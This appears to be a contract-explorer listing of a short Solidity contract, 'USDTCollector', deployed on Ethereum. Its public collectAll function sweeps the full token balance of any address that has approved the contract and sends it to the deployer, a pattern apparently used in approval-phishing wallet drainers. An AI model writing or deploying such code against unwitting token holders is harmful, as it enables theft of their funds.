Description:
Smart contract deployed on Ethereum.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
interface IERC20 {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
}
contract USDTCollector {
address public owner;
constructor() {
owner = msg.sender;
}
function collectAll(IERC20 token, address from) external {
uint256 balance = token.balanceOf(from);
require(balance > 0, "No balance");
uint256 allowance = token.allowance(from, address(this));
require(allowance >= balance, "Not enough allowance");
bool success = token.transferFrom(from, owner, balance);
require(success, "Transfer failed");
}
}
Submitted on: 2025-09-21 01:02:47
Comments
Log in to comment.
No comments yet.